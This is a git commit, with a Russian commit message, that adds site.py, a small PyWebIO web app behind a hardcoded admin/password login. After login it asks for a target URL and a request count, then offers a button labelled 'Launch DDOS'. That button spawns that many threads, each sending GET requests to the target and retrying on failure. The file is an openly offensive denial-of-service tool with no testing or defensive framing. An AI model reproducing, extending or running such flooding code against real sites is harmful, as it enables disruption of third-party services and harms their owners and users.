Загрузить файлы в «/»
This commit is contained in:
74
site.py
Normal file
74
site.py
Normal file
@@ -0,0 +1,74 @@
|
||||
import asyncio
|
||||
import multiprocessing
|
||||
import threading
|
||||
import requests
|
||||
from pywebio.input import input, TEXT, PASSWORD, NUMBER
|
||||
from pywebio.output import put_text, put_button, clear, put_error, put_success
|
||||
from pywebio import start_server
|
||||
import aiohttp
|
||||
import time
|
||||
|
||||
|
||||
def send_multiple_requests(url, num_threads):
|
||||
"""
|
||||
Отправляет указанное количество запросов к заданному URL, используя многопоточность.
|
||||
Обрабатывает исключения и включает паузу при ошибках.
|
||||
|
||||
Args:
|
||||
url: URL, к которому отправлять запросы.
|
||||
num_threads: Количество потоков.
|
||||
"""
|
||||
threads = []
|
||||
for i in range(num_threads):
|
||||
thread = threading.Thread(target=send_single_request, args=(url,))
|
||||
threads.append(thread)
|
||||
thread.start()
|
||||
|
||||
for thread in threads:
|
||||
thread.join()
|
||||
|
||||
def send_single_request(url):
|
||||
while True:
|
||||
try:
|
||||
response = requests.get(url)
|
||||
print(f"Request sent! Status code: {response.status_code}")
|
||||
break # Выходим из цикла после успешного запроса
|
||||
except Exception as e:
|
||||
print(f"An error occurred: {e}")
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
async def authenticated_page():
|
||||
put_text("Вы успешно авторизовались!")
|
||||
url = await input('URL сайта (с http:// или https://)', type=TEXT)
|
||||
try:
|
||||
num_requests = int(await input('Количество запросов', type=NUMBER))
|
||||
except ValueError:
|
||||
put_error("Некорректное количество запросов.")
|
||||
return
|
||||
|
||||
put_button("Запустить DDOS", onclick=lambda: send_multiple_requests(url, num_requests))
|
||||
|
||||
|
||||
async def login_page():
|
||||
while True:
|
||||
username = await input("Логин:", type=TEXT)
|
||||
password = await input("Пароль:", type=PASSWORD)
|
||||
|
||||
if username == "admin" and password == "password":
|
||||
clear()
|
||||
await authenticated_page()
|
||||
break
|
||||
else:
|
||||
put_error("Неверный логин или пароль.")
|
||||
clear("login")
|
||||
|
||||
|
||||
async def main():
|
||||
clear()
|
||||
await login_page()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
start_server(main, debug=True, port=9999)
|
||||
|
||||
Reference in New Issue
Block a user